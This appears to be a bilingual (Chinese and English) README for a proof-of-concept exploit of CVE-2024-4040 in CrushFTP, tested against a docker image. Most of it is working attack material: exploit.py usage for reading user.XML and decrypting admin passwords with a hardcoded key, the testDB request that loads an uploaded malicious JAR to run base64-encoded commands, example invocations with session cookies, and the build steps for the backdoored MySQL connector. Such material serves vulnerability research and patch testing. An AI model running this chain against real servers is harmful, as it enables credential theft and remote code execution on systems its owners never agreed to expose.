- 最近看到這個漏洞覺得還挺有趣,拜讀了以下文章並且稍微寫了一下 exploit
- 使用的是別人的 docker,詳細請參考作者的 GitHub
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest
- 透過
exploit.py
以及decrypt.java
取得密碼並且解密,至於原因簡單來說 key 是寫死的,所以可以解開加上可以任意讀檔 - 這邊要注意,如果 default admin 也就是
crushadmin
不存在的話,可以嘗試抓CrushFTP.log
,裡面有帳號資訊可以參考
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
- 邏輯上是先檢查目標有沒有漏洞,用的是四個預設會存在的帳號並且嘗試取得
user.XML
檔案 - 確定有漏洞之後會去取得使用者指定的帳號,如果沒有的話預設會帶入
crushadmin
這個預設存在的 admin account - 取得到密碼之後會用
decrypt.java
去解開密碼 --shell
功能是方便看 RCE 過後的結果,透過下面的方式上傳 jar 檔案之後可以指定--jar-path
以及--headers
就可以看到執行命令的結果- 要注意的是
--headers
中一定要給登入後的 Cookie,例如--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
--jar-path
預設會是/tmp/mysql_cmd_db_user_final_with_echo_base64.jar
如果是不一樣的位置記得要指定路徑,理論上相對路徑也可以但建議使用絕對路徑- 要退出打
exit
就可以退出了 - 範例指令
python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
- 要注意的是
- RCE 的原因簡單來說是有一個
testDB
的功能可以自己指定 jar file 以及 driver object,加上可以上傳,把這兩個串起來就可以 RCE 了
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
- 圖片中的指令為
id
- 在參數
db_user
傳入 base64 encode 過後的 command 就可以執行了
- 圖片中的指令為
- 我個人所改的 mysql connector 是 5.0.4 版本的
- 如果編譯好的兩個版本都不能用的話,我有提供我修改過後的版本,可以依照下面的指令重新編譯
mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
- Recently, I came across this vulnerability and found it quite interesting. I read the following articles and wrote a brief exploit.
- I used someone else's docker. For details, please refer to the author's GitHub.
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp
- Use
exploit.py
anddecrypt.java
to obtain and decrypt the password. The key is hardcoded, so you can decrypt it and read arbitrary files. - Note that if the default admin,
crushadmin
, does not exist, you can try grabbingCrushFTP.log
for account information.
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]
CVE-2024-4040
options:
-h, --help show this help message and exit
-u URL, --url URL The target URL
-H HEADERS, --headers HEADERS
Headers
--account ACCOUNT The target account
--shell
--jar-path JAR_PATH Jar file path
- The logic first checks if the target is vulnerable using four default accounts and attempts to retrieve the
user.XML
file. - If the target is confirmed to be vulnerable, it retrieves the user-specified account; if not provided, it defaults to the
crushadmin
admin account. - After obtaining the password, it uses
decrypt.java
to decrypt the password. --shell
feature is used to conveniently view the results after Remote Code Execution (RCE). After uploading the JAR file using the following method, specify--jar-path
and--headers
to see the execution command's result:- Note that
--headers
must include the logged-in Cookie, for example,--headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
--jar-path
defaults to/tmp/mysql_cmd_db_user_final_with_echo_base64.jar
. If it's in a different location, ensure to specify the path. Relative paths theoretically work but absolute paths are recommended.- To exit, type
exit
. - Example command:
python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
- Note that
- Login and visit the admin panel.
- After finding
User Manager
, click on the user on the left, drag the folder you want to map to User's Stuff, and finally adjust permissions. Ensure that upload is checked.
- Upload the malicious JAR file. I have prepared two versions, one for JDK 16 and another for JDK 13, depending on the server's Java version.
- Go back to the files section, click upload, and upload the malicious JAR file.
- The reason for RCE is that there is a
testDB
function where you can specify the JAR file and driver object, and you can upload, combining these to achieve RCE.
command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
- The command in the image is
id
. - Pass the base64 encoded command in the
db_user
parameter to execute it.
- The command in the image is
- I personally modified the MySQL connector version 5.0.4.
- If the two compiled versions don't work, I provide my modified version, which can be recompiled with the following commands:
mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *